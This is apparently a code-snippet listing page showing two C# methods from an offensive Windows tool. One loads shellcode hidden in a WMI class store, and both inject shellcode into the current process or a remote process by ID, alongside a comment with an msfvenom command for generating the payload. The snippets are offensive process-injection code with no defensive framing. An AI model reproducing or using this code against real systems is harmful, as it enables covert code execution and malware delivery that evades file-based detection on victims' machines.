Beispiel #1
0
        public static void InjectShellCodeWMIFSB64(String processId, String wmiClass, String fileName)
        {
            Byte[] peBytes         = Misc.QueryWMIFS(wmiClass, fileName);
            String shellCodeString = System.Text.Encoding.Unicode.GetString(peBytes);

            Int32 dwProcessId = 0;

            if (String.IsNullOrEmpty(processId))
            {
                using (var injectShellCode = new InjectShellCode(shellCodeString))
                {
                    injectShellCode.Execute();
                }
            }
            else if (Int32.TryParse(processId, out dwProcessId))
            {
                using (var injectShellCodeRemote = new InjectShellCodeRemote(shellCodeString, (UInt32)dwProcessId))
                {
                    using (var tokens = new Tokens())
                    {
                        injectShellCodeRemote.Execute();
                    }
                }
            }
            else
            {
                Console.WriteLine("Unknown Error");
            }
        }
Beispiel #2
0
        //msfvenom -p windows/x64/exec --format csharp CMD=calc.exe
        public static void InjectShellCode(String strProcessId, String shellCodeString)
        {
            Int32 dwProcessId = 0;

            if (String.IsNullOrEmpty(strProcessId))
            {
                using (var injectShellCode = new InjectShellCode(shellCodeString))
                {
                    injectShellCode.Execute();
                }
            }
            else if (Int32.TryParse(strProcessId, out dwProcessId))
            {
                using (var injectShellCodeRemote = new InjectShellCodeRemote(shellCodeString, (UInt32)dwProcessId))
                {
                    using (var tokens = new Tokens())
                    {
                        injectShellCodeRemote.Execute();
                    }
                }
            }
            else
            {
                Console.WriteLine("Unknown Error");
            }
        }